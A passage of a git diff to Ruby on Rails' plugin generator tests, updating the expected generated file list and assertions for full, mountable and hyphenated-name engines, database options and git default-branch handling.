+
+  def test_orm_description_is_used_when_configured
+    with_configured(:orm, :test_orm_with_description) do
+      assert_equal("My description", Rails::Generators::ModelGenerator.desc)
+    end
+  end
+
+  private
+    def with_configured(hook, value)
+      previous_default = Rails::Generators::ModelGenerator.class_options[hook].default
+      Rails::Generators::ModelGenerator.class_options[hook].instance_variable_set(:@default, value)
+      yield
+    ensure
+      Rails::Generators::ModelGenerator.class_options[hook].instance_variable_set(:@default, previous_default)
+    end
+end
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
index ddfbc1a6988a3..0c633fcbc4fad 100644
--- a/railties/test/generators/plugin_generator_test.rb
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -1,28 +1,91 @@
+# frozen_string_literal: true
+
+require "plugin_helpers"
 require "generators/generators_test_helper"
 require "rails/generators/rails/plugin/plugin_generator"
 require "generators/shared_generator_tests"
+require "rails/engine/updater"
 
 DEFAULT_PLUGIN_FILES = %w(
+  .git
+  .github/dependabot.yml
+  .github/workflows/ci.yml
   .gitignore
+  .rubocop.yml
   Gemfile
-  Rakefile
+  MIT-LICENSE
   README.md
+  Rakefile
+  bin/rubocop
+  bin/test
   bukkits.gemspec
-  MIT-LICENSE
-  lib
   lib/bukkits.rb
-  lib/tasks/bukkits_tasks.rake
+  lib/bukkits/railtie.rb
   lib/bukkits/version.rb
+  lib/tasks/bukkits_tasks.rake
   test/bukkits_test.rb
+  test/dummy/Rakefile
+  test/dummy/app/assets/images/.keep
+  test/dummy/app/assets/stylesheets/application.css
+  test/dummy/app/controllers/application_controller.rb
+  test/dummy/app/controllers/concerns/.keep
+  test/dummy/app/helpers/application_helper.rb
+  test/dummy/app/jobs/application_job.rb
+  test/dummy/app/mailers/application_mailer.rb
+  test/dummy/app/models/application_record.rb
+  test/dummy/app/models/concerns/.keep
+  test/dummy/app/views/layouts/application.html.erb
+  test/dummy/app/views/layouts/mailer.html.erb
+  test/dummy/app/views/layouts/mailer.text.erb
+  test/dummy/app/views/pwa/manifest.json.erb
+  test/dummy/app/views/pwa/service-worker.js
+  test/dummy/bin/ci
+  test/dummy/bin/dev
+  test/dummy/bin/rails
+  test/dummy/bin/rake
+  test/dummy/bin/setup
+  test/dummy/config.ru
+  test/dummy/config/application.rb
+  test/dummy/config/boot.rb
+  test/dummy/config/cable.yml
+  test/dummy/config/ci.rb
+  test/dummy/config/database.yml
+  test/dummy/config/environment.rb
+  test/dummy/config/environments/development.rb
+  test/dummy/config/environments/production.rb
+  test/dummy/config/environments/test.rb
+  test/dummy/config/initializers/content_security_policy.rb
+  test/dummy/config/initializers/filter_parameter_logging.rb
+  test/dummy/config/initializers/inflections.rb
+  test/dummy/config/locales/en.yml
+  test/dummy/config/puma.rb
+  test/dummy/config/routes.rb
+  test/dummy/config/storage.yml
+  test/dummy/log/.keep
+  test/dummy/public/400.html
+  test/dummy/public/404.html
+  test/dummy/public/406-unsupported-browser.html
+  test/dummy/public/422.html
+  test/dummy/public/500.html
+  test/dummy/public/icon.png
+  test/dummy/public/icon.svg
+  test/dummy/storage/.keep
+  test/dummy/tmp/.keep
+  test/dummy/tmp/pids/.keep
+  test/dummy/tmp/storage/.keep
   test/test_helper.rb
-  test/dummy
 )
 
 class PluginGeneratorTest < Rails::Generators::TestCase
+  include PluginHelpers
   include GeneratorsTestHelper
-  destination File.join(Rails.root, "tmp/bukkits")
+  destination File.join(destination_root, "bukkits")
   arguments [destination_root]
 
+  def application_path
+    "#{destination_root}/test/dummy"
+  end
+
   # brings setup, teardown, and some tests
   include SharedGeneratorTests
 
@@ -47,7 +110,7 @@ def test_correct_file_in_lib_folder_of_hyphenated_plugin_name
     run_generator [File.join(destination_root, "hyphenated-name")]
     assert_no_file "hyphenated-name/lib/hyphenated-name.rb"
     assert_no_file "hyphenated-name/lib/hyphenated_name.rb"
-    assert_file "hyphenated-name/lib/hyphenated/name.rb", /module Hyphenated\n  module Name\n    # Your code goes here...\n  end\nend/
+    assert_file "hyphenated-name/lib/hyphenated/name.rb", /module Hyphenated\n  module Name\n    # Your code goes here\.\.\.\n  end\nend/
   end
 
   def test_correct_file_in_lib_folder_of_camelcase_plugin_name
@@ -59,17 +122,63 @@ def test_correct_file_in_lib_folder_of_camelcase_plugin_name
   def test_generating_without_options
     run_generator
     assert_file "README.md", /Bukkits/
-    assert_no_file "config/routes.rb"
-    assert_no_file "app/assets/config/bukkits_manifest.js"
     assert_file "test/test_helper.rb" do |content|
-      assert_match(/require.+test\/dummy\/config\/environment/, content)
+      assert_match(/require_relative.+test\/dummy\/config\/environment/, content)
       assert_match(/ActiveRecord::Migrator\.migrations_paths.+test\/dummy\/db\/migrate/, content)
-      assert_match(/Minitest\.backtrace_filter = Minitest::BacktraceFilter\.new/, content)
-      assert_match(/Rails::TestUnitReporter\.executable = 'bin\/test'/, content)
     end
-    assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
-    assert_file "bin/test"
-    assert_no_file "bin/rails"
+    assert_file "lib/bukkits/railtie.rb", /module Bukkits\n  class Railtie < ::Rails::Railtie\n  end\nend/
+    assert_file "lib/bukkits.rb" do |content|
+      assert_match(/require "bukkits\/version"/, content)
+      assert_match(/require "bukkits\/railtie"/, content)
+    end
+    assert_file "test/bukkits_test.rb" do |content|
+      assert_match(/class BukkitsTest < ActiveSupport::TestCase/, content)
+      assert_match(/assert Bukkits::VERSION/, content)
+    end
+  end
+
+  def test_initializes_git_repo_with_main_branch_without_user_default
+    current_default_branch = `git config --global init.defaultBranch`
+    `git config --global --unset init.defaultBranch`
+
+    run_generator
+    assert_file ".git/HEAD", /main/
+    assert_file ".github/workflows/ci.yml", /branches: \[ main \]/
+  ensure
+    if !current_default_branch.strip.empty?
+      `git config --global init.defaultBranch #{current_default_branch}`
+    end
+  end
+
+  def test_version_control_initializes_git_repo_with_user_default_branch
+    git_version = `git --version`[/\d+.\d+.\d+/]
+    return if Gem::Version.new(git_version) < Gem::Version.new("2.28.0")
+
+    current_default_branch = `git config --global init.defaultBranch`
+    `git config --global init.defaultBranch master`
+
+    run_generator
+    assert_file ".git/HEAD", /master/
+    assert_file ".github/workflows/ci.yml", /branches: \[ master \]/
+  ensure
+    if current_default_branch && current_default_branch.strip.empty?
+      `git config --global --unset init.defaultBranch`
+    elsif current_default_branch
+      `git config --global init.defaultBranch #{current_default_branch}`
+    end
+  end
+
+  def test_generating_in_full_mode_with_almost_of_all_skip_options
+    run_generator [destination_root, "--full", "-M", "-O", "-C", "-T", "--skip-active-storage", "--skip-active-job"]
+    assert_file "bin/rails" do |content|
+      assert_no_match(/\s+require\s+["']rails\/all["']/, content)
+    end
+    assert_file "bin/rails", /#\s+require\s+["']active_job\/railtie["']/
+    assert_file "bin/rails", /#\s+require\s+["']active_record\/railtie["']/
+    assert_file "bin/rails", /#\s+require\s+["']active_storage\/engine["']/
+    assert_file "bin/rails", /#\s+require\s+["']action_mailer\/railtie["']/
+    assert_file "bin/rails", /#\s+require\s+["']action_cable\/engine["']/
+    assert_file "bin/rails", /#\s+require\s+["']rails\/test_unit\/railtie["']/
   end
 
   def test_generating_test_files_in_full_mode
@@ -81,12 +190,12 @@ def test_generating_test_files_in_full_mode
 
   def test_inclusion_of_a_debugger
     run_generator [destination_root, "--full"]
-    if defined?(JRUBY_VERSION) || RUBY_ENGINE == "rbx"
+    if defined?(JRUBY_VERSION)
       assert_file "Gemfile" do |content|
-        assert_no_match(/byebug/, content)
+        assert_no_match(/debug/, content)
       end
     else
-      assert_file "Gemfile", /# gem 'byebug'/
+      assert_file "Gemfile", /# gem "debug"/
     end
   end
 
@@ -94,178 +203,118 @@ def test_generating_test_files_in_full_mode_without_unit_test_files
     run_generator [destination_root, "-T", "--full"]
 
     assert_no_directory "test/integration/"
-    assert_no_file "test"
+    assert_no_directory "test"
     assert_file "Rakefile" do |contents|
       assert_no_match(/APP_RAKEFILE/, contents)
     end
-  end
-
-  def test_generating_adds_dummy_app_in_full_mode_without_sprockets
-    run_generator [destination_root, "-S", "--full"]
-
-    assert_file "test/dummy/config/environments/production.rb" do |contents|
-      assert_no_match(/config\.assets/, contents)
+    assert_file "bin/rails" do |contents|
+      assert_no_match(/APP_PATH/, contents)
     end
   end
 
   def test_generating_adds_dummy_app_rake_tasks_without_unit_test_files
     run_generator [destination_root, "-T", "--mountable", "--dummy-path", "my_dummy_app"]
     assert_file "Rakefile", /APP_RAKEFILE/
-  end
-
-  def test_generating_adds_dummy_app_without_javascript_and_assets_deps
-    run_generator
-
-    assert_file "test/dummy/app/assets/stylesheets/application.css"
-
-    assert_file "test/dummy/app/assets/javascripts/application.js" do |contents|
-      assert_no_match(/jquery/, contents)
-    end
+    assert_file "bin/rails", /APP_PATH/
   end
 
   def test_ensure_that_plugin_options_are_not_passed_to_app_generator
-    FileUtils.cd(Rails.root)
+    FileUtils.cd(fixtures_root)
     assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
   end
 
   def test_ensure_that_test_dummy_can_be_generated_from_a_template
-    FileUtils.cd(Rails.root)
+    FileUtils.cd(fixtures_root)
     run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test"])
-    assert_file "spec/dummy"
-    assert_no_file "test"
-  end
-
-  def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
-    run_generator([destination_root, "--full"])
-    assert_file "test/dummy/config/database.yml", /sqlite/
-    assert_file "bukkits.gemspec", /sqlite3/
+    assert_directory "spec/dummy"
+    assert_no_directory "test"
   end
 
-  def test_config_another_database
-    run_generator([destination_root, "-d", "mysql", "--full"])
-    assert_file "test/dummy/config/database.yml", /mysql/
-    assert_file "bukkits.gemspec", /mysql/
-  end
-
-  def test_dont_generate_development_dependency
-    run_generator [destination_root, "--skip-active-record"]
-
+  def test_no_development_dependencies_in_gemspec
+    run_generator
     assert_file "bukkits.gemspec" do |contents|
-      assert_no_match(/s.add_development_dependency "sqlite3"/, contents)
+      assert_no_match(/add_development_dependency/, contents)
     end
   end
 
-  def test_app_generator_without_skips
+  def test_default_database_dependency_is_sqlite
     run_generator
-    assert_file "test/dummy/config/application.rb", /\s+require\s+["']rails\/all["']/
-    assert_file "test/dummy/config/environments/development.rb" do |content|
-      assert_match(/config\.action_mailer\.raise_delivery_errors = false/, content)
-    end
-    assert_file "test/dummy/config/environments/test.rb" do |content|
-      assert_match(/config\.action_mailer\.delivery_method = :test/, content)
-    end
-    assert_file "test/dummy/config/environments/production.rb" do |content|
-      assert_match(/# config\.action_mailer\.raise_delivery_errors = false/, content)
-    end
+    assert_file "test/dummy/config/database.yml", /sqlite/
+    assert_gem "sqlite3"
   end
 
-  def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
-    run_generator [destination_root, "--skip-active-record"]
-    assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+  def test_custom_database_dependency
+    run_generator [destination_root, "-d", "mysql"]
+    assert_file "test/dummy/config/database.yml", /mysql/
+    assert_file "Gemfile", /mysql/
   end
 
   def test_ensure_that_skip_active_record_option_is_passed_to_app_generator
     run_generator [destination_root, "--skip_active_record"]
-    assert_no_file "test/dummy/config/database.yml"
     assert_file "test/test_helper.rb" do |contents|
       assert_no_match(/ActiveRecord/, contents)
     end
   end
 
-  def test_action_mailer_is_removed_from_frameworks_if_skip_action_mailer_is_given
-    run_generator [destination_root, "--skip-action-mailer"]
-    assert_file "test/dummy/config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
-    assert_file "test/dummy/config/environments/development.rb" do |content|
-      assert_no_match(/config\.action_mailer/, content)
-    end
-    assert_file "test/dummy/config/environments/test.rb" do |content|
-      assert_no_match(/config\.action_mailer/, content)
-    end
-    assert_file "test/dummy/config/environments/production.rb" do |content|
-      assert_no_match(/config\.action_mailer/, content)
-    end
-  end
-
   def test_ensure_that_database_option_is_passed_to_app_generator
     run_generator [destination_root, "--database", "postgresql"]
     assert_file "test/dummy/config/database.yml", /postgres/
   end
 
-  def test_generation_runs_bundle_install
-    assert_generates_without_bundler
-  end
+  def test_no_duplicate_gemfile_entries_when_using_prerelease
+    run_generator_using_prerelease [destination_root, "--dev"]
 
-  def test_dev_option
-    assert_generates_without_bundler(dev: true)
-    rails_path = File.expand_path("../../..", Rails.root)
-    assert_file "Gemfile", /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
+    assert_file "Gemfile" do |content|
+      assert_equal 1, content.scan(/gem "sqlite3"/).length
+    end
   end
 
-  def test_edge_option
-    assert_generates_without_bundler(edge: true)
-    assert_file "Gemfile", %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
-  end
+  def test_generation_does_not_run_bundle_install
+    generator([destination_root])
+    run_generator_instance
 
-  def test_generation_does_not_run_bundle_install_with_full_and_mountable
-    assert_generates_without_bundler(mountable: true, full: true, dev: true)
-    assert_no_file "#{destination_root}/Gemfile.lock"
+    assert_empty @bundle_commands
   end
 
-  def test_skipping_javascripts_without_mountable_option
-    run_generator
-    assert_no_file "app/assets/javascripts/bukkits/application.js"
-  end
+  def test_generation_does_not_run_bundle_install_with_full_and_mountable
+    generator([destination_root], mountable: true, full: true)
+    run_generator_instance
 
-  def test_javascripts_generation
-    run_generator [destination_root, "--mountable"]
-    assert_file "app/assets/javascripts/bukkits/application.js"
+    assert_empty @bundle_commands
+    assert_no_file "#{destination_root}/Gemfile.lock"
   end
 
-  def test_skip_javascripts
-    run_generator [destination_root, "--skip-javascript", "--mountable"]
-    assert_no_file "app/assets/javascripts/bukkits/application.js"
+  def test_skip_action_mailer_and_skip_active_job_with_mountable
+    run_generator [destination_root, "--mountable", "--skip-action-mailer", "--skip-active-job"]
+    assert_no_directory "app/mailers"
+    assert_no_directory "app/jobs"
   end
 
-  def test_template_from_dir_pwd
-    FileUtils.cd(Rails.root)
-    assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+  def test_skip_action_mailer_and_skip_active_job_with_api_and_mountable
+    run_generator [destination_root, "--api", "--mountable", "--skip-action-mailer", "--skip-active-job"]
+    assert_no_directory "app/mailers"
+    assert_no_directory "app/jobs"
   end
 
-  def test_ensure_that_tests_work
-    run_generator
-    FileUtils.cd destination_root
-    quietly { system "bundle install" }
-    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bin/test 2>&1`)
-  end
-
-  def test_ensure_that_tests_works_in_full_mode
-    run_generator [destination_root, "--full", "--skip_active_record"]
-    FileUtils.cd destination_root
-    quietly { system "bundle install" }
-    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
+  def test_skip_action_mailer_and_skip_active_job_with_full
+    run_generator [destination_root, "--full", "--skip-action-mailer", "--skip-active-job"]
+    assert_no_directory "app/mailers"
+    assert_no_directory "app/jobs"
   end
 
   def test_ensure_that_migration_tasks_work_with_mountable_option
     run_generator [destination_root, "--mountable"]
-    FileUtils.cd destination_root
-    quietly { system "bundle install" }
-    output = `bin/rails db:migrate 2>&1`
-    assert $?.success?, "Command failed: #{output}"
+    prepare_plugin(destination_root)
+
+    in_plugin_context(destination_root) do
+      quietly { system "bundle install" }
+      output = `bin/rails db:migrate 2>&1`
+      assert_predicate $?, :success?, "Command failed: #{output}"
+    end
   end
 
   def test_creating_engine_in_full_mode
     run_generator [destination_root, "--full"]
-    assert_file "app/assets/javascripts/bukkits"
     assert_file "app/assets/stylesheets/bukkits"
     assert_file "app/assets/images/bukkits"
     assert_file "app/models"
@@ -273,7 +322,8 @@ def test_creating_engine_in_full_mode
     assert_file "app/views"
     assert_file "app/helpers"
     assert_file "app/mailers"
-    assert_file "bin/rails"
+    assert_file "app/jobs"
+    assert_file "bin/rails", /\s+require\s+["']rails\/all["']/
     assert_file "config/routes.rb", /Rails.application.routes.draw do/
     assert_file "lib/bukkits/engine.rb", /module Bukkits\n  class Engine < ::Rails::Engine\n  end\nend/
     assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
@@ -281,7 +331,7 @@ def test_creating_engine_in_full_mode
 
   def test_creating_engine_with_hyphenated_name_in_full_mode
     run_generator [File.join(destination_root, "hyphenated-name"), "--full"]
-    assert_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
+    assert_no_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
     assert_file "hyphenated-name/app/assets/stylesheets/hyphenated/name"
     assert_file "hyphenated-name/app/assets/images/hyphenated/name"
     assert_file "hyphenated-name/app/models"
@@ -289,16 +339,17 @@ def test_creating_engine_with_hyphenated_name_in_full_mode
     assert_file "hyphenated-name/app/views"
     assert_file "hyphenated-name/app/helpers"
     assert_file "hyphenated-name/app/mailers"
+    assert_file "hyphenated-name/app/jobs"
     assert_file "hyphenated-name/bin/rails"
     assert_file "hyphenated-name/config/routes.rb",              /Rails.application.routes.draw do/
     assert_file "hyphenated-name/lib/hyphenated/name/engine.rb", /module Hyphenated\n  module Name\n    class Engine < ::Rails::Engine\n    end\n  end\nend/
     assert_file "hyphenated-name/lib/hyphenated/name.rb",        /require "hyphenated\/name\/engine"/
-    assert_file "hyphenated-name/bin/rails",                     /\.\.\/\.\.\/lib\/hyphenated\/name\/engine/
+    assert_file "hyphenated-name/bin/rails",                     /\.\.\/lib\/hyphenated\/name\/engine/
   end
 
   def test_creating_engine_with_hyphenated_and_underscored_name_in_full_mode
     run_generator [File.join(destination_root, "my_hyphenated-name"), "--full"]
-    assert_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
+    assert_no_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
     assert_file "my_hyphenated-name/app/assets/stylesheets/my_hyphenated/name"
     assert_file "my_hyphenated-name/app/assets/images/my_hyphenated/name"
     assert_file "my_hyphenated-name/app/models"
@@ -306,124 +357,189 @@ def test_creating_engine_with_hyphenated_and_underscored_name_in_full_mode
     assert_file "my_hyphenated-name/app/views"
     assert_file "my_hyphenated-name/app/helpers"
     assert_file "my_hyphenated-name/app/mailers"
+    assert_file "my_hyphenated-name/app/jobs"
     assert_file "my_hyphenated-name/bin/rails"
-    assert_file "my_hyphenated-name/config/routes.rb",              /Rails.application.routes.draw do/
+    assert_file "my_hyphenated-name/config/routes.rb",              /Rails\.application\.routes\.draw do/
     assert_file "my_hyphenated-name/lib/my_hyphenated/name/engine.rb", /module MyHyphenated\n  module Name\n    class Engine < ::Rails::Engine\n    end\n  end\nend/
     assert_file "my_hyphenated-name/lib/my_hyphenated/name.rb",        /require "my_hyphenated\/name\/engine"/
-    assert_file "my_hyphenated-name/bin/rails",                     /\.\.\/\.\.\/lib\/my_hyphenated\/name\/engine/
+    assert_file "my_hyphenated-name/bin/rails",                     /\.\.\/lib\/my_hyphenated\/name\/engine/
   end
 
   def test_being_quiet_while_creating_dummy_application
-    assert_no_match(/create\s+config\/application.rb/, run_generator)
+    assert_no_match(/create\s+config\/application\.rb/, run_generator)
   end
 
   def test_create_mountable_application_with_mountable_option
     run_generator [destination_root, "--mountable"]
-    assert_file "app/assets/javascripts/bukkits"
+    assert_no_file "app/assets/javascripts/bukkits"
     assert_file "app/assets/stylesheets/bukkits"
     assert_file "app/assets/images/bukkits"
-    assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/
+    assert_file "config/routes.rb", /Bukkits::Engine\.routes\.draw do/
     assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/
     assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/
     assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n  class ApplicationController < ActionController::Base/
     assert_file "app/models/bukkits/application_record.rb", /module Bukkits\n  class ApplicationRecord < ActiveRecord::Base/
     assert_file "app/jobs/bukkits/application_job.rb", /module Bukkits\n  class ApplicationJob < ActiveJob::Base/
-    assert_file "app/mailers/bukkits/application_mailer.rb", /module Bukkits\n  class ApplicationMailer < ActionMailer::Base\n    default from: 'from@example.com'\n    layout 'mailer'\n/
+    assert_file "app/mailers/bukkits/application_mailer.rb", /module Bukkits\n  class ApplicationMailer < ActionMailer::Base\n    default from: "from@example\.com"\n    layout "mailer"\n/
     assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n  module ApplicationHelper/
     assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
       assert_match "<title>Bukkits</title>", contents
+      assert_match "<%= csrf_meta_tags %>", contents
+      assert_match "<%= csp_meta_tag %>", contents
       assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
-      assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
+      assert_no_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
+      assert_match "<%= yield %>", contents
     end
     assert_file "test/test_helper.rb" do |content|
       assert_match(/ActiveRecord::Migrator\.migrations_paths.+\.\.\/test\/dummy\/db\/migrate/, content)
       assert_match(/ActiveRecord::Migrator\.migrations_paths.+<<.+\.\.\/db\/migrate/, content)
-      assert_match(/ActionDispatch::IntegrationTest\.fixture_path = ActiveSupport::TestCase\.fixture_pat/, content)
-      assert_no_match(/Rails::TestUnitReporter\.executable = 'bin\/test'/, content)
+      assert_match(/ActionDispatch::IntegrationTest\.fixture_paths = ActiveSupport::TestCase\.fixture_pat/, content)
+      assert_no_match(/Rails::TestUnitReporter\.executable = "bin\/test"/, content)
     end
     assert_no_file "bin/test"
   end
 
-  def test_create_mountable_application_with_mountable_option_and_hypenated_name
+  def test_create_mountable_application_with_mountable_option_and_hyphenated_name
     run_generator [File.join(destination_root, "hyphenated-name"), "--mountable"]
-    assert_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
+    assert_no_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
     assert_file "hyphenated-name/app/assets/stylesheets/hyphenated/name"
     assert_file "hyphenated-name/app/assets/images/hyphenated/name"
-    assert_file "hyphenated-name/config/routes.rb",                                          /Hyphenated::Name::Engine.routes.draw do/
-    assert_file "hyphenated-name/lib/hyphenated/name/version.rb",                            /module Hyphenated\n  module Name\n    VERSION = '0.1.0'\n  end\nend/
+    assert_file "hyphenated-name/config/routes.rb",                                          /Hyphenated::Name::Engine\.routes\.draw do/
+    assert_file "hyphenated-name/lib/hyphenated/name/version.rb",                            /module Hyphenated\n  module Name\n    VERSION = "0\.1\.0"\n  end\nend/
     assert_file "hyphenated-name/lib/hyphenated/name/engine.rb",                             /module Hyphenated\n  module Name\n    class Engine < ::Rails::Engine\n      isolate_namespace Hyphenated::Name\n    end\n  end\nend/
     assert_file "hyphenated-name/lib/hyphenated/name.rb",                                    /require "hyphenated\/name\/engine"/
     assert_file "hyphenated-name/test/dummy/config/routes.rb",                               /mount Hyphenated::Name::Engine => "\/hyphenated-name"/
-    assert_file "hyphenated-name/app/controllers/hyphenated/name/application_controller.rb", /module Hyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n      protect_from_forgery with: :exception\n    end\n  end\nend\n/
-    assert_file "hyphenated-name/app/models/hyphenated/name/application_record.rb",          /module Hyphenated\n  module Name\n    class ApplicationRecord < ActiveRecord::Base\n      self\.abstract_class = true\n    end\n  end\nend/
+    assert_file "hyphenated-name/app/controllers/hyphenated/name/application_controller.rb", /module Hyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n    end\n  end\nend\n/
+    assert_file "hyphenated-name/app/models/hyphenated/name/application_record.rb",          /module Hyphenated\n  module Name\n    class ApplicationRecord < ActiveRecord::Base\n      self.abstract_class = true\n    end\n  end\nend/
     assert_file "hyphenated-name/app/jobs/hyphenated/name/application_job.rb",               /module Hyphenated\n  module Name\n    class ApplicationJob < ActiveJob::Base/
-    assert_file "hyphenated-name/app/mailers/hyphenated/name/application_mailer.rb",         /module Hyphenated\n  module Name\n    class ApplicationMailer < ActionMailer::Base\n      default from: 'from@example.com'\n      layout 'mailer'\n    end\n  end\nend/
+    assert_file "hyphenated-name/app/mailers/hyphenated/name/application_mailer.rb",         /module Hyphenated\n  module Name\n    class ApplicationMailer < ActionMailer::Base\n      default from: "from@example\.com"\n      layout "mailer"\n    end\n  end\nend/
     assert_file "hyphenated-name/app/helpers/hyphenated/name/application_helper.rb",         /module Hyphenated\n  module Name\n    module ApplicationHelper\n    end\n  end\nend/
     assert_file "hyphenated-name/app/views/layouts/hyphenated/name/application.html.erb" do |contents|
       assert_match "<title>Hyphenated name</title>", contents
       assert_match(/stylesheet_link_tag\s+['"]hyphenated\/name\/application['"]/, contents)
-      assert_match(/javascript_include_tag\s+['"]hyphenated\/name\/application['"]/, contents)
+      assert_no_match(/javascript_include_tag\s+['"]hyphenated\/name\/application['"]/, contents)
     end
   end
 
-  def test_create_mountable_application_with_mountable_option_and_hypenated_and_underscored_name
+  def test_create_mountable_application_with_mountable_option_and_hyphenated_and_underscored_name
     run_generator [File.join(destination_root, "my_hyphenated-name"), "--mountable"]
-    assert_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
+    assert_no_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
     assert_file "my_hyphenated-name/app/assets/stylesheets/my_hyphenated/name"
     assert_file "my_hyphenated-name/app/assets/images/my_hyphenated/name"
-    assert_file "my_hyphenated-name/config/routes.rb",                                             /MyHyphenated::Name::Engine.routes.draw do/
-    assert_file "my_hyphenated-name/lib/my_hyphenated/name/version.rb",                            /module MyHyphenated\n  module Name\n    VERSION = '0.1.0'\n  end\nend/
+    assert_file "my_hyphenated-name/config/routes.rb",                                             /MyHyphenated::Name::Engine\.routes\.draw do/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name/version.rb",                            /module MyHyphenated\n  module Name\n    VERSION = "0\.1\.0"\n  end\nend/
     assert_file "my_hyphenated-name/lib/my_hyphenated/name/engine.rb",                             /module MyHyphenated\n  module Name\n    class Engine < ::Rails::Engine\n      isolate_namespace MyHyphenated::Name\n    end\n  end\nend/
     assert_file "my_hyphenated-name/lib/my_hyphenated/name.rb",                                    /require "my_hyphenated\/name\/engine"/
     assert_file "my_hyphenated-name/test/dummy/config/routes.rb",                                  /mount MyHyphenated::Name::Engine => "\/my_hyphenated-name"/
-    assert_file "my_hyphenated-name/app/controllers/my_hyphenated/name/application_controller.rb", /module MyHyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n      protect_from_forgery with: :exception\n    end\n  end\nend\n/
-    assert_file "my_hyphenated-name/app/models/my_hyphenated/name/application_record.rb",          /module MyHyphenated\n  module Name\n    class ApplicationRecord < ActiveRecord::Base\n      self\.abstract_class = true\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/app/controllers/my_hyphenated/name/application_controller.rb", /module MyHyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n    end\n  end\nend\n/
+    assert_file "my_hyphenated-name/app/models/my_hyphenated/name/application_record.rb",          /module MyHyphenated\n  module Name\n    class ApplicationRecord < ActiveRecord::Base\n      self.abstract_class = true\n    end\n  end\nend/
     assert_file "my_hyphenated-name/app/jobs/my_hyphenated/name/application_job.rb",               /module MyHyphenated\n  module Name\n    class ApplicationJob < ActiveJob::Base/
-    assert_file "my_hyphenated-name/app/mailers/my_hyphenated/name/application_mailer.rb",         /module MyHyphenated\n  module Name\n    class ApplicationMailer < ActionMailer::Base\n      default from: 'from@example.com'\n      layout 'mailer'\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/app/mailers/my_hyphenated/name/application_mailer.rb",         /module MyHyphenated\n  module Name\n    class ApplicationMailer < ActionMailer::Base\n      default from: "from@example\.com"\n      layout "mailer"\n    end\n  end\nend/
     assert_file "my_hyphenated-name/app/helpers/my_hyphenated/name/application_helper.rb",         /module MyHyphenated\n  module Name\n    module ApplicationHelper\n    end\n  end\nend/
     assert_file "my_hyphenated-name/app/views/layouts/my_hyphenated/name/application.html.erb" do |contents|
       assert_match "<title>My hyphenated name</title>", contents
       assert_match(/stylesheet_link_tag\s+['"]my_hyphenated\/name\/application['"]/, contents)
-      assert_match(/javascript_include_tag\s+['"]my_hyphenated\/name\/application['"]/, contents)
+      assert_no_match(/javascript_include_tag\s+['"]my_hyphenated\/name\/application['"]/, contents)
     end
   end
 
-  def test_create_mountable_application_with_mountable_option_and_multiple_hypenates_in_name
+  def test_create_mountable_application_with_mountable_option_and_multiple_hyphenates_in_name
     run_generator [File.join(destination_root, "deep-hyphenated-name"), "--mountable"]
-    assert_file "deep-hyphenated-name/app/assets/javascripts/deep/hyphenated/name"
+    assert_no_file "deep-hyphenated-name/app/assets/javascripts/deep/hyphenated/name"
     assert_file "deep-hyphenated-name/app/assets/stylesheets/deep/hyphenated/name"
     assert_file "deep-hyphenated-name/app/assets/images/deep/hyphenated/name"
-    assert_file "deep-hyphenated-name/config/routes.rb",                                               /Deep::Hyphenated::Name::Engine.routes.draw do/
-    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/version.rb",                            /module Deep\n  module Hyphenated\n    module Name\n      VERSION = '0.1.0'\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/config/routes.rb",                                               /Deep::Hyphenated::Name::Engine\.routes\.draw do/
+    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/version.rb",                            /module Deep\n  module Hyphenated\n    module Name\n      VERSION = "0\.1\.0"\n    end\n  end\nend/
     assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/engine.rb",                             /module Deep\n  module Hyphenated\n    module Name\n      class Engine < ::Rails::Engine\n        isolate_namespace Deep::Hyphenated::Name\n      end\n    end\n  end\nend/
     assert_file "deep-hyphenated-name/lib/deep/hyphenated/name.rb",                                    /require "deep\/hyphenated\/name\/engine"/
     assert_file "deep-hyphenated-name/test/dummy/config/routes.rb",                                    /mount Deep::Hyphenated::Name::Engine => "\/deep-hyphenated-name"/
